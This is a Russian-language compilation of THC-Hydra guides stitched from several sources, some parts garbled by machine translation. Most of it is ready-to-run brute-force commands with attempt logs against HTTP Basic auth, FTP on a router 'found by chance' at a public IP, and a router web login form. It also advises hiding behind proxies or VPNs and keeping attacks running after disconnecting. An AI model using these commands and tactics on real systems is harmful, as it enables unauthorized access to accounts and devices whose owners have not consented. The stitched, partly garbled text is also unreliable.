Через опции командной строки вы определяете, какие логины и пароли перебирать, нужно ли использовать SSL, во сколько потоков осуществлять атаку и т.д.
ПРОТОКОЛ — это протокол, который вы хотите атаковать, например, ftp, smtp, http-get или любой из доступных
ЦЕЛЬ — это целевая машина, которую вы хотите атаковать
TARGET is the target you want to attack
ОПЦИИ дополнительные значения, которые задаются для модуля ПРОТОКОЛ
Первое — выберите вашу цель
есть три способа задать цель для атаки:
- единичная цель в командной строке: просто введите IP или DNS адрес
- диапазон подсети в командной строке:
- список хостов в текстовом файле: один хост на строку (подробности ниже)
Второе — выберите ваш протоколов
Старайтесь избегать telnet, так как нельзя надёжно определить, соединение успешно или нет. Используйте сканер портов, чтобы увидеть, какие протоколы включены на целе.
Третье — проверьте, имеет ли модуль дополнительные параметры
hydra -U ПРОТОКОЛ
например,
Четвёртое — порт назначение
Это необязательно! Если на удалённой машине используется порт по умолчанию для этой службы, то программа hydra сама знает, какие порты используется для ПРОТОКОЛов
Если вы задали использовать SSL (опция «-S»), то по умолчанию будет использоваться обычный порт SSL.
Если вы используете нотацию «://», то вы должны использовать квадратные скобки [ ], если вы хотите цель для атак определить адресами IPv6 или CIDR («192.168.0.0/24»)
Код:
hydra [некоторые опции командной строки] ftp://[192.168.0.0/24]/
hydra [некоторые опции командной строки] -6 smtp://[2001:db8::1]/NTLM
Обратите внимание, что hydra делает все атаки только на IPv4!
Если вы хотите атаковать адреса IPv6 вы должны добавить опцию «-6». Тогда все атаки будут на IPv6.
Если вы хотите задать цели через текстовый файл, вы не можете использовать обозначение ://, используйте старый стиль и задайте протокол (и опции модуля):
Код:
hydra [некоторые опции командной строки] -M targets.txt ftp
Вы также можете указать порт для каждой цели, добавив «:<порт>» после каждой записи цели в файле, например:
Код:
foo.bar.com
target.com:21
unusual.port.com:2121
default.used.here.com
127.0.0.1
127.0.0.1:2121
Обратите внимание, если вы хотите присоединить цели IPv6, вы должны указать опцию -6 и должны поместить адреса IPv6 в квадратные скобки в файле (!) примерно так:
Код:
foo.bar.com
target.com:21
[fe80::1%eth0]
[2001::1]
[2002::2]:8080
[2a01:24a:133:0:00:123:ff:1a]
Логины и пароли Hydra
Есть много разных опций, как атаковать с логинами и паролями.
Опциями -l
для логина и -p
для пароля, вы можете сказать hydra использовать только эти логин и/или пароль для попытки.
С -L для логинов и -P для паролей вы указываете текстовые файлы с записями, например:
Код:
hydra -l admin -p password ftp://localhost/
hydra -L default_logins.txt -p test ftp://localhost/
hydra -l admin -P common_passwords.txt ftp://localhost/
hydra -L logins.txt -P passwords.txt ftp://localhost/
Дополнительно вы также можете пробовать пароли, основанные на логины, это делается опцией «-e».
Опция «-e» имеет три параметра:
- s — пробовать логин как пароль
- n — пробовать пустой пароль
- r — перестановка в логине символов с зада на перёд и использование получившегося слова в качестве пароля
К примеру, если вы хотите попробовать логин в качестве пароля и пустой пароль, то вам нужно в командной строке указать «-e sn».
Для пароля кроме -p/-P
есть ещё пара режимов:
Вы можете использовать текстовый файл, в котором логины и пароли разделены двоеточием, например:
Код:
admin:password
test:test
foo:bar
Это популярный стиль записи листинга дефольтных значений аккаунта. В таком же виде генерирует файлы dpl4hydra.sh (генератор дефолтных логинов и паролей для hydra).
Использовать такой текстовый файл нужно с опцией -C, обратите внимание, что в этом режиме нельзя использовать опции -l/-L/-p/-P (хотя -e nsr можно).
Пример:
Код:
hydra -C default_accounts.txt ftp://localhost/
И наконец, есть режим брутфорса с опцией -x (её нельзя использовать с -p/-P/-C):
-x минимальная_длина:максимальная_длина:набор_символов
Набор символов определяет ‘a’ для букв в нижнем регистре, ‘A’ — для букв в вернем регистре, ‘1’ — для цифр, а для всего другого используйте их реальные символы.
Примеры:
- -x 1:3:a генерирует пароли длинной от 1 до 3 символов, состоящие только из букв в нижнем регистре
- -x 2:5:/ генерирует пароли длинной от 2 до 5 символов, содержание только слэши
- -x 5:8:A1 генерирует пароли длинной от 5 до 8 символов, с большими буквами и цифрами
Пример:
Код:
hydra -l ftp -x 3:3:a ftp://localhost/
Специальные опции для модулей
Через третий параметр командной строки (ЦЕЛЬ СЛУЖБА ОПЦИИ) или после ключа -m
, вы можете передать модулю одну опцию.
Многие модули используют их, а некоторые требуют их!
Чтобы получить дополнительную информацию по опции модуля, наберите
например:
Специальные опции могут быть переданы через параметр -m или третьей опцией в командной строке или в формате сжуба://цель/опция.
Примеры (они все означают одно и то же):
Код:
hydra -l test -p test -m PLAIN 127.0.0.1 imap
hydra -l test -p test 127.0.0.1 imap PLAIN
hydra -l test -p test imap://127.0.0.1/PLAIN
Возобновление прерванной/оборванной сессии
Когда hydra прерывается командой Control-C
, убивается или вылетает с ошибкой, она оставляет файл «hydra.restore» в котором содержится вся необходимая информация для восстановления сессии. Этот файл сессии пишется каждые 5 минут.
Примечание: файл hydra.restore НЕ может быть скопирован между различными платформами (например с little indian на big indian или с solaris на aix)
Как сканировать/взламывать через прокси
Переменная среды HYDRA_PROXY_HTTP определяет веб прокси (это работает только для службы http/www!)
Следующий синтаксис является валидными:
Код:
HYDRA_PROXY_HTTP="http://123.45.67.89:8080/"
Для всех остальных служб используйте переменную HYDRA_PROXY для сканирования/взлома через дефолтный вызов веб-прокси CONNECT. Он использует тот же самый синтаксис, например:
Код:
HYDRA_PROXY=[http|socks4|socks5]://proxy_addr:proxy_port
например:
Код:
HYDRA_PROXY=http://proxy.anonymizer.com:8000
Если на прокси необходима аутентификация, используйте переменную окружения HYDRA_PROXY_AUTH:
Код:
HYDRA_PROXY_AUTH="the_login:the_password"
Дополнительные подсказки
- сортируйте ваши файлы с паролями по вероятности и используйте опцию -u для нахождения паролей намного быстрее!
- пропускайте ваши словари через команду uniq, чтобы они содержали только уникальные записи! Это может сэкономить вам уйму времени
Код:
cat words.txt | sort | uniq > dictionary.txt
- если вы знаете, что цель использует политику паролей (позволяя пользователям выбирать пароли только с минимальной длинной от 6 символов, содержащих по крайней мере одну букву и одну цифру и т. д., используйте инструмент pw-inspector, который поставляется вместе с пакетом hydra для уменьшения списка паролей:
Код:
cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt
Скорость hydra
Благодаря функции множественных одновременных запросов, этот инструмент взлома паролей может быть очень быстрым. Тем не менее, скорость зависит от протокола. Самыми быстрыми являются POP3 и FTP.
Экспериментируйте с опцией -t для ускорения! Чем выше — тем быстрее (но слишком высокое — и это отключит службу)
Статистика hydra
Запущенная в отношении SuSE Linux 7.2 на локалхосте с «-C FILE», содержащем 295 записей (294 невалидных учётных данных, 1 валидный). Каждый тест запускался три раза (только для «1 задача» единожды) и были получены следующие средние цифры:
Код:
ПАРАЛЛЕЛЬНЫЕ ЗАДАЧИ
SERVICE 1 4 8 16 32 50 64 100 128
------- --------------------------------------------------------------------
telnet 23:20 5:58 2:58 1:34 1:05 0:33 0:45* 0:25* 0:55*
ftp 45:54 11:51 5:54 3:06 1:25 0:58 0:46 0:29 0:32
pop3 92:10 27:16 13:56 6:42 2:55 1:57 1:24 1:14 0:50
imap 31:05 7:41 3:51 1:58 1:01 0:39 0:32 0:25 0:21
(*) Обратите внимание на тайминг telnet — он может быть ОЧЕНЬ разным для задач от 64 до 128! Например, со 128 задачами, запущенный четыре раза, результаты в тайминге между 28 и 97 секундами!
Причина этого неизвестна...
предположений на задачу (округлённо):
295 74 38 19 10 6 5 3 3
возможные предположения на соединения (зависит от серверного программного обеспечения и конфигурации):
telnet 4
ftp 6
pop3 1
imap 3
THC-Hydra: справка по важнейшим модулям, перебор паролей в веб-приложениях, примеры Hydra
Вторая часть
Брутфорс веб-сайтов с Hydra (часть вторая инструкции по Hydra)
Соответствующее английское значение Hydra — Hydra. Это взрывной артефакт, который может взломать учетную запись и пароль различных служб, включая вход в Интернет, базу данных, SSH, FTP и другие службы. Он поддерживает установку платформ Linux, Windows и Mac. Среди них Kali Linux поставляется с Hydra.
Гидра в Kali Linux
Kali — это система Linux, обычно используемая специалистами по безопасности. Она поставляется с большим набором инструментов безопасности. Hydra естественным образом интегрирована в нее. Инструмент находится в столбце атаки на пароли — онлайн-атаки.
Установка Hydra в Windows
Hydra официально не поддерживает версию для Windows, ее необходимо скачать на GitHub по адресу:
https://github.com/maaaaz/thc-hydra-windows
После загрузки разархивируйте его.
Основные инструкции Hydra
После завершения установки используйте команду hydra -h для просмотра инструкций и их функций, как показано ниже:
Среди них наиболее часто используются две команды в красном поле. После L — набор учетных записей, а после P — набор паролей, обратите внимание на регистр, а прописные буквы представляют файлы. Если в наборе учетных записей есть m учетных записей и n паролей в наборе паролей, Hydra попытается взорвать m × n раз.
Давайте возьмем mysql в качестве примера для написания команды взрыва. Если в пути C: Users cjx есть файл набора учетных записей username.txt и файл набора паролей password.txt, то команда для запуска службы mysql с определенного IP-адреса может быть следующей: Напишите (откройте командную строку по пути C: Users cjx):
гидра -L имя_пользователя.txt -P пароль.txt mysql: // целевой IP: номер порта mysql
- 1
Если служба использует порт по умолчанию, команду также можно записать так:
гидра -L имя_пользователя.txt -P пароль.txt целевой IP-адрес mysql
- 1
Если вам нужно распечатать процесс взрыва, добавьте команду -v
гидра -L username.txt -P пароль.txt -v mysql: // целевой IP: номер порта mysql
- 1
Меры предосторожности
У некоторых сервисов нет учетной записи, и нужно только ввести пароль.Например, Redis, тогда файл учетной записи в команде не нужен.Команда записывается так:
гидра -P пароль.txt redis: // целевой IP: номер порта redis
- 1
THC Hydra – это приложение, которое в консольном режиме может производить тестирование на предмет безопасности беспроводных и проводных сетей.
Описание программы
Программа лишена пользовательского интерфейса и работает при помощи командной строки.
Приложение распространяется на бесплатной основе, соответственно, какая-либо активация не требуется.
Как установить
Установка тоже не нужна. Достаточно скачать приложение, затем запустить его:
- Обращаемся к разделу загрузки и при помощи прямой ссылки производим скачивание.
- Двойным левым кликом запускаем исполняемый файл, который отмечен на прикреплённом ниже скриншоте.
- Если понадобится, утверждаем доступ к полномочиям администратора.
Как пользоваться
Работа с ПО сводится к вводу специальных операторов, а также просмотру полученного результата. Присутствует собственная справка, но лучше всего перейти на YouTube и посмотреть какой-нибудь обучающий ролик по теме.
Достоинства и недостатки
Переходим к разбору сильных, а также слабых сторон приложения для тестирования безопасности сетей.
Плюсы:
- широкий набор возможностей для тестирования безопасности сетей;
- присутствует встроенная справка.
Минусы:
- нет русского языка;
- отсутствует пользовательский интерфейс.
Скачать
Загрузить программу можно при помощи прикрепленной ниже кнопки.
Язык: | Английский |
Активация: | Бесплатно |
Разработчик: | The (Freeworld) Hacker’s Choice |
Платформа: | Windows XP, 7, 8, 10, 11 |
THC Hydra v8.5
Статья носит носит строго познавательный характер, за применение кем либо описанных в статье методик автор ответственности не несет.
В тот момент, когда пинтест заходит в тупик — одним из крайних аргументов в тесте на проникновение является подбор паролей. Сервисы, к которым можно применить данный метод атаки — самые различные. А как следствие — различны и протоколы, и форматы обращений. Надо бы как то унифицировать инструменты для решения этой задачи — не хорошо под каждый новый случай писать новый брутер своими ручками.
И такой инструмент уже имеет место быть. Быстрый, сочный, достойный внимания — THC-Hydra. Версия 7.5 (из репозитория epel) поддерживает подбор по/для: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
. Примеры эксплуатации мы рассмотрим чуть ниже, а пока — посмотрим как можно заполучить данный инструмент в свой арсенал.
Установка
Пользователям CentOS будет достаточно подключить репозиторий epel
и выполнить:
# yum install -y epel-release
$ yum install -y hydra
Или для сборки из сорсов (актуально для linux, *bsd, solaris и т.д., а так же MacOS и мобильных системах, базирующихся на Linux):
$ mkdir ~/hydra_src && cd ~/hydra_src
$ wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip && unzip master.zip && rm -f master.zip
$ cd thc-hydra-master/
$ yum install gcc mysql-devel libssh
# Для Debian - libmysqld-dev и libssh-dev
$ make clean && ./configure
$ make && make install
$ ./hydra -h
Hydra v8.2-dev 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-o FILE write found login/password pairs to FILE instead of stdout
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME waittime for responses (32s) / between connects per thread
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-O use old SSL v2 and v3
-q do not print messages about connection errors
-U service module usage details
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
По умолчанию бинарники гидры будут в директории
/usr/local/bin/
, ежели что пропиши этот путь в~/.bash_profile
, дописав его в переменнойPATH
.
При сборке из сорсов мы разумеется получаем самую свежую и сочную версию. В репах как правило лежит уже несколько устаревшая.
И ещё более простой вариант — использовать дистрибутив Kali Linux — там уже всё есть.
Словари
Брутить можно как с помощью подбора посимвольно, так и с помощью подготовленного словаря наиболее часто используемых паролей. Таки рекомендую первым делом попытаться подобрать пароль со словарем, и уже если и этот способ не увенчался успехом — переходить к прямому бруту посмивольно.
Где взять словари? Например, можно пошариться на этой странице или глянуть сразу здесь — имена архивов более чем говорящие. От себя лишь скажу, что использую в основном 3 словаря:
- Очень маленький и очень популярный (топ первые 500 паролей)
- Второй побольше — на 5000 паролей
- Третий от Cain & Abel на ~300000 паролей
И в таком же порядке их применяю во время теста. Второй словарь — это слитые воедино несколько других не менее популярных списков (отсортированный с удалением дубликатов и комментариев) который можно получить, например, так:
$ cat twitter-banned.txt 500-worst-passwords.txt lower john.txt password | grep -v '^#' | sort -u > all_small_dic.txt
В качестве бонуса можешь забрать готовые списки паролей (top500; top4000; cain&abel (300k); пароли от яндекса (700k); пароли от маил.ру (2740k); маил.ру + яндекс (3300k)):
- passwords_list.zip
В общем, считаем что словари у тебя готовы к применению. Как пользоваться гидрой?
Я есть Грут Брут
Какие настройки и возможности предоставляет нам гидра? Давай рассмотрим флаги запуска по порядку:
Флаг | Описание |
---|---|
-R |
Восстановить предыдущую сессию, которая по какой-либо причине была прервана |
-S |
Использовать SSL соединение |
-s PORT |
Указание порта (отличного от дефолтного) сервиса |
-l LOGIN |
Использовать указанный логин для попытки аутентификации |
-L FILE |
Использовать список логинов из указанного файла |
-p PASS |
Использовать указанный пароль для попытки аутентификации |
-P FILE |
Использовать список паролей из указанного файла |
-x |
Генерировать пароли для подбора самостоятельно, указывается в формате -x MIN:MAX:CHARSET , где MIN — это минимальная длинна пароля, MAX — соответственно, максимальная, а CHARSET — это набор символов, в котором a означает латиницу в нижнем регистре, A — в верхнем регистре, 1 — числа, а для указания дополнительных символов — просто укажи их как есть. Вот несколько примеров генерации паролей: -x 3:5:a — длинной от 3 до 5 символов, состоящие только из символов латиницы в нижнем регистре; -x 5:8:A1 — длинной от 5 до 8 символов, состоящие из символов латиницы в верхнем регистре + цифр; -x 1:3:/ — длинной от 1 до 3 символов, состоящие только из символов слеша / ; -x 5:5:/%,.- — длинной в 5 символов, состоящие только из символов /%,.- |
-e nsr |
Укажи n для проверки пустых паролей, s для попытки использования в качестве пароля — логин, и (или) r для попытки входа под перевернутым логином |
-u |
Пытаться подобрать логин а не пароль |
-C FILE |
Использовать файл в формате login:pass вместо указания -L /-P |
-M FILE |
Файл со списком целей для брутфорса (можно с указанием порта через двоеточие), по одному на строку |
-o FILE |
Записать подобранную пару логин/пароль в файл, вместо того чтоб просто вывести в stdout (будет указан с указанием сервера, к которому подобран — не запутаешься) |
-f / -F |
Прекратить работу, как только первая пара логин:пароль будет подобрана. -f только для текущего хоста,-F — глобально |
-t TASKS |
Количество параллельных процессов (читай — потоков). По умолчанию 16 |
-w |
Таймаут для ответа сервера. По умолчанию 32 секунды |
-W |
Таймаут между ответами сервера |
-4 / -6 |
Использовать IPv4 (по умолчанию) или IPv6 адреса (при указании с -M всегда заключай в [] ) |
-v |
Более подробный вывод информации о процессе |
-V |
Выводить каждый подбираемый логин + пароль |
-d |
Режим дебага |
-O |
Использовать старый SSL v2 и v3 |
-q |
Не выводить сообщения об ошибках подключения |
-U |
Дополнительная информация о использовании выбранного модуля |
-h |
Вывод справочной информации |
Гидра — фас!
Теперь давай рассмотрим пример работы на определенных целях. Все IP — вымышленные, соответствие с реальными — чистейшей воды совпадение
Ахтунг! Юзай proxy/socks/vpn для безопасности собственной задницы. Так, сугубо на всякий случай
Basic Authentication
Например, сканируя диапазон адресов мы натыкаемся на некоторый интерфейс, доступный по http протоколу, но закрытый для доступа при помощи Basic Authentication (пример настройки с помощью nginx):
И у нас стоит задача вспомнить наш же забытый пароль Давай определимся с тем, какие данные у нас есть:
- IP сервера
192.168.1.2
- Сервис
http
- Путь, который закрыт для нас запросом пары логин:пароль
/private/
- Порт, на котором работает http сервер
80
(стандартный)
Предположим (или любым доступным путем выясним), что логин используется admin
, и нам неизвестен лишь пароль. Подбирать будем с помощью заранее подготовленного словаря и с использованием модуля http-get
:
$ hydra -l admin -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -V -s 80 192.168.1.2 http-get /private/
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-12 13:01:25
[DATA] max 16 tasks per 1 server, overall 64 tasks, 488 login tries (l:1/p:488), ~0 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "!" - 1 of 488 [child 0]
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "!!!" - 2 of 488 [child 1]
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "!!!!" - 3 of 488 [child 2]
...
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "administrat0r" - 250 of 488 [child 0]
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "administrator" - 251 of 488 [child 2]
[ATTEMPT] target 192.168.1.2 - login "admin" - pass "administrator1" - 252 of 488 [child 13]
[80][http-get] host: 192.168.1.2 login: admin password: admin
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[STATUS] attack finished for 192.168.1.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-12 13:01:26
$ cat ./hydra_result.log
# Hydra v8.1 run at 2015-08-12 13:01:25 on 192.168.1.2 http-get (hydra -l admin -P /root/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -V -s 80 192.168.1.2 http-get /private/)
[80][http-get] host: 192.168.1.2 login: admin password: admin
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Пабам — и через 1 секунду стандартный пароль admin
успешно сбручен!
FTP
Другой пример — случайно находим в сети роутер MikroTik, да с открытыми наружу портами 80 (http) и 21 (ftp). Решаем сообщить его владельцу о наличии данной неприятности, но для этого нужно сперва получить доступ к этому самому микротику.
Брутить вебморду микротика можно, но проходит это значительно медленнее, чем например брутить ftp. А мы знаем, что стандартный логин на микротиках admin
, и используется один пароль ко всем сервисам. Получив пароль для ftp — получим доступ ко всему остальному:
Исходные данные:
- IP сервера
178.72.83.246
- Сервис
ftp
- Стандартный логин
admin
- Порт, на котором работает ftp сервер
21
(стандартный)
Запускаем гидру:
$ hydra -l admin -P ~/pass_lists/all_small_dic.txt -o ./hydra_result.log -f -V -s 21 178.72.83.246 ftp
И наблюдаем процесс подбора (~900 паролей в минуту):
[DATA] max 16 tasks per 1 server, overall 64 tasks, 4106 login tries (l:1/p:4106), ~4 tries per task
[DATA] attacking service ftp on port 21
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "" - 1 of 4106 [child 0]
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "[email protected]#$%" - 2 of 4106 [child 1]
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "[email protected]#$%^" - 3 of 4106 [child 2]
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "[email protected]#$%^&" - 4 of 4106 [child 3]
...
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "adminadmin" - 249 of 488 [child 5]
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "administrat0r" - 250 of 488 [child 0]
[ATTEMPT] target 178.72.83.246 - login "admin" - pass "administrator" - 251 of 488 [child 14]
[21][ftp] host: 178.72.83.246 login: admin password: adminadmin
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[STATUS] attack finished for 178.72.83.246 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-12 13:46:51
Спустя каких то 30 секунд ещё один словарный пароль adminadmin
был успешно подобран. После этого успешно логинимся в веб-панель:
Выясняем контакты администратора, сообщаем ему о наличии уязвимости, и больше ничего не делаем
Веб — авторизация
Например — мы забыли пароль к роутеру, который использует веб-авторизацию. Т.е. не просто “выплывающее окошко браузера”, а полноценные поля для ввода пары логин:пароль. Давай попытаемся подобрать пароль и к нему. В рассматриваемом примере это OpenWrt:
Открываем панель отладки браузера (F12
в Chromium-based браузерах), вкладка Network
и отмечаем галочкой Preserve log
. После этого вводим пароль, например, test_passw0rd
(логин у нас уже введен), жмем кнопку “Login”, и смотрим в консоли что и куда уходит:
Отлично, теперь давай подытожим те данные, которыми мы располагаем:
- IP сервера
178.72.90.181
- Сервис
http
на стандартном80
порту - Для авторизации используется html форма, которая отправляет по адресу
http://178.72.90.181/cgi-bin/luci
методомPOST
запрос видаusername=root&password=test_passw0rd
- В случае не удачной аутентификации пользователь наблюдает сообщение
Invalid username and/or password! Please try again.
Приступим к запуску гидры:
$ hydra -l root -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password=^PASS^:Invalid username"
И тут надо кое-что пояснить. Мы используем http-post-form
потому как авторизация происходит по http
методом post
. После указания этого модуля идет строка /cgi-bin/luci:username=^USER^&password=^PASS^:Invalid username
, у которой через двоеточие (:
) указывается:
- Путь до скрипта, который обрабатывает процесс аутентификации. В нашем случае это
/cgi-bin/luci
- Строка, которая передается методом POST, в которой логин и пароль заменены на
^USER^
и^PASS^
соответственно. У нас этоusername=^USER^&password=^PASS^
- Строка, которая присутствует на странице при неудачной аутентификации. При её отсутствии гидра поймет что мы успешно вошли. В нашем случае это
Invalid username
Подбор в моем случае идет довольно медленно (~16 паролей в минуту), и связано это в первую очередь с качеством канала и способностью железки обрабатывать запросы. Как мы видим — ей довольно тяжело это делать:
Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-12 14:15:12
[DATA] max 16 tasks per 1 server, overall 64 tasks, 488 login tries (l:1/p:488), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 178.72.90.181 - login "root" - pass "!" - 1 of 488 [child 0]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "!!!" - 2 of 488 [child 1]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "!!!!" - 3 of 488 [child 2]
# ...
[ATTEMPT] target 178.72.90.181 - login "root" - pass "%username%1" - 18 of 488 [child 1]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "%username%12" - 19 of 488 [child 2]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "%username%123" - 20 of 488 [child 15]
[STATUS] 20.00 tries/min, 20 tries in 00:01h, 468 to do in 00:24h, 16 active
Подбор пароля по словарю ничего нам не дал, поэтому мы запустим посимвольный перебор. Длину пароля возьмем от 5 до 9 символов, латиницу в нижнем регистре с цифрами и символами [email protected]#
:
$ hydra -l root -x "5:9:a1[email protected]#" -o ./hydra_result.log -f -V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password=^PASS^:Invalid username"
И видим что процесс успешно запустился:
Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-12 14:31:01
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 16 tasks per 1 server, overall 64 tasks, 268865638400000 login tries (l:1/p:268865638400000), ~262564100000 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaaa" - 1 of 268865638400000 [child 0]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaab" - 2 of 268865638400000 [child 1]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaac" - 3 of 268865638400000 [child 2]
# ...
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaa7" - 30 of 268865638400000 [child 0]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaa8" - 31 of 268865638400000 [child 2]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaa9" - 32 of 268865638400000 [child 1]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "[email protected]" - 33 of 268865638400000 [child 11]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaa#" - 34 of 268865638400000 [child 4]
[ATTEMPT] target 178.72.90.181 - login "root" - pass "aaaba" - 35 of 268865638400000 [child 7]
И понимая безысходность данного подхода останавливаем процесс, возвращаясь к перебору по большому словарю.
Кстати, для запуска hydra в фоне с продолжением её работы после того, как ты отключишься от ssh можно поступить следующим образом:
$ hydra -bla -bla -bla -o ./hydra_result.log
# Нажимаем CTRL + Z
$ disown -h %1
# После этого отключаемся или продолжаем работу
# Для возврата к процессу перебора выполни '$ bg 1'
# Для того, чтоб после посмотреть работает ли гидра выполни:
$ ps ax | grep hydra
# А для того чтоб убить все процессы с гидрой:
$ for proc in $(ps ax | grep hydra | cut -d" " -f 1); do kill $proc; done;
Вместо заключения
Не ленись настраивать на своих сервисах/железках защиту от брутфорса. Не используй фуфлыжные пароли. Не расценивай данный материал как призыв к каким-либо действиям. Используй для тестирования своих сервисов.
THC-Hydra 8.5 дает возможность определить логин и пароль в разнообразных сервисах. Установка THC-Hydra 8.5 возможна на разные операционные системы. Программа позволяет ввести ключевое слово к архиву или сервису. Пароль подбирается по особому способу THC-Hydra. Программа обеспечивает возможность подбора пароля с использованием выборки в разных форматах и протоколах.
Закачка THC-Hydra 8.5 позволяет проверить свою операционную систему на предмет безопасности. Софт узнает, взламывалась ли система, знает ли кто-либо сведения о пользователе. Для особо продвинутых пользователей THC-Hydra 8.5 предоставляет возможность взламывать программы в искусственном режиме, чтобы в полной мере получить удовольствие от этого инструмента. Некоторые пользователи пытаются получить чужие данные.
THC-Hydra 8.5 представляет собой мультиплатформенный продукт для десктопов для определения неизвестного пароля и логина.
Список сервисов и ресурсов, для которых можно искать пароли и логины с помощью этой программы очень велик. Разработка поддерживает огромное количество протоколов. Их насчитывается свыше полусотни.
В программе нет встроенной базы паролей, ее необходимо загружать самостоятельно. Пользователь может, кроме всего прочего, испытать способ посимвольного подбора ключей, указав длину и используемые знаки пароля, возможность применения верхнего регистра символов. Можно искать только логин без пароля.
Программа в состоянии производить параллельный перебор паролей по нескольким протоколам. Скорость процесса подбора пароля и логина определяется особенностями протокола. Если по какой-то причине сессия работы программы оказалась прерванной, ее можно восстановить, использовав специальные инструменты программы.
Установка THC-Hydra 8.5
В операционной системе Windows программа THC-Hydra 8.5 работает командной строкой. Она не обладает собственной графической оболочкой. Для установки программы ее следует скачать из надежного источника. Затем эта разработка запускается как обычно командной строкой.
Для использования THC-Hydra 8.5 придется выучить ее многочисленные опции и функции, чтобы было проще к ней обращаться.
THC-Hydra 8.5 имеет массу достоинств. Программа проверит систему на безопасность или произведет ее взлом, поддерживает большое количество протоколов.
С ее помощью можно прервать текущую сессию и продолжить свои действия впоследствии. Продукт подходит для всей линейки операционной системы Windows. Установка THC-Hydra 8.5 не должна вызывать больших трудностей.